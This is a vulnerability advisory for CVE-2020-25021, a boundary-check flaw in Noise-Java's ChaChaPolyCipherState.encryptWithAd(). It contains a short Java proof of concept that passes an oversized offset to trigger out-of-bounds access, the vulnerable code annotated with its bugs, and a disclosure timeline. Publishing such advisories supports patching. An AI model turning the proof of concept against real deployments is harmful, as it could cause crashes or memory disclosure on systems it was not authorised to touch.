Noise-Java ChaChaPolyCipherState.encryptWithAd() Insufficient Boundary Checks

Credit: Pietro Oliva
Risk: Medium
Local: No
Remote: No

Vulnerability title: Noise-Java ChaChaPolyCipherState.encryptWithAd() insufficient boundary checks Author: Pietro Oliva CVE: CVE-2020-25021 Vendor: Rhys Weatherley (Creator of Noise Framework's reference implementation in Java) Product: Noise-Java Affected version: No version information is currently available. Fixed version: Check latest commit and pull request Description: The issue is located in the ChaChaPolyCipherState.encryptWithAd() method defined in, where multiple boundary checks are performed to prevent invalid length or offsets from being specified for the encrypt or copy operation. However, some checks were found to be either incomplete or missing, which would likely lead to the following scenarios: - Out-of-bounds read or write with huge plaintextOffset, negative cipertextOffset, or negative length (Depending on the underlying JVM's validation). - Exception thrown by the JVM instead of Noise-Java throwing ShortBufferException Impact: Further checks might be implemented in the JVM and an exception might be thrown before attempting any operation with invalid arguments. If that is not the case, OOB read/write or a silent return on invalid arguments might occur. This could in turn lead to arbitrary code execution in the context of the JVM, memory disclosure, denial of service, or data loss. Proof of concept: Depending on the JVM, running the following code will result in either OOB read (see CVE-2020-17360 in Avian JVM) or exception being thrown by the JVM: package com.southernstorm.noise.protocol; public class poc { public static void main(String[] args) { byte[] plaintext = "This is my plaintext".getBytes(); byte[] ciphertext = new byte[plaintext.length]; CipherState cs = new ChaChaPolyCipherState(); // Passing a large plaintextOffset should result in a ShortBufferException // instead of relying on the JMV's implementation of System.arraycopy. try { cs.encryptWithAd(null, plaintext, 0x7fffffff, ciphertext, 0, 1); } catch(Exception e){ System.out.println("An exception has been thrown: " + e); } } } Evidence: public int encryptWithAd(byte[] ad, byte[] plaintext, int plaintextOffset, byte[] ciphertext, int ciphertextOffset, int length) throws ShortBufferException { int space; if (ciphertextOffset > ciphertext.length) // BUG: ciphertextOffset could be negative, // bypassing this length check space = 0; else space = ciphertext.length - ciphertextOffset; // BUG: a negative ciphertextOffset would increase the space instead of decreasing it if (!haskey) { if (length > space) // BUG: this check can be bypassed with negative ciphertextOffset throw new ShortBufferException(); if (plaintext != ciphertext || plaintextOffset != ciphertextOffset) /* Multiple issues here: 1. plaintextOffset is never checked. Depending on the JVM's implementation, This could result in OOB read in arraycopy (see CVE-2020-17360 for Avian JVM) or exception being thrown. 2. ciphertextOffset could be negative, bypassing the checks on the length. Depending on the JVM, this could result in OOB read/write or exception being thrown. 3. If the length is negative, depending on the JVM, arraycopy could result in OOB read/write, exception being thrown, or silent return (e.g. CVE-2020-17360 in Avian) */ System.arraycopy(plaintext, plaintextOffset, ciphertext, ciphertextOffset, length); return length; } if (space < 16 || length > (space - 16)) throw new ShortBufferException(); setup(ad); /* Multiple issues here as well: 1. plaintextOffset is never checked. this could result in an exception being thrown by the JVM. 2. ciphertextOffset could be negative, bypassing the checks on the length. Depending on the JVM, this could result in OOB write in arraycopy or exception being thrown. 3. length could be negative. Depending on the JVM, this could result in OOB write in arraycopy or exception being thrown. */ encrypt(plaintext, plaintextOffset, ciphertext, ciphertextOffset, length); poly.update(ciphertext, ciphertextOffset, length); finish(ad, length); System.arraycopy(polyKey, 0, ciphertext, ciphertextOffset + length, 16); return length + 16; } As can be seen in the above code, multiple boundary checks are either missing or incomplete, allowing for invalid length or offsets to be passed to the JVM's implementation of System.arraycopy or other methods that handle encryption. Depending on the JVM in use and how the missing/incomplete checks are exploited, this could result in either OOB read/write, silent return, or exception thrown by the underlying JVM. OOB read/write could result in memory/secrets disclosure, arbitrary code execution in the context of the JVM, or crash. Mitigating factors: Unless the JVM has some vulnerability on its own (such as CVE-2020-17360 and CVE-2020-17361 in Avian JVM), this vulnerability would likely result in an unhandled exception being thrown and/or crash of the JVM process. Remediation: The fixes for this vulnerability can be found below: Disclosure timeline: 28th Aug 2020 - Vulnerability reported to vendor. 29th Aug 2020 - Patch committed by vendor. 2nd Sept 2020 - Improvement for this patch provided by vulnerability reporter. 2nd Sept 2020 - Vulnerability details are made public.

Vote for this issue:


Thanks for you vote!


Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.

(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2020,


Back to Top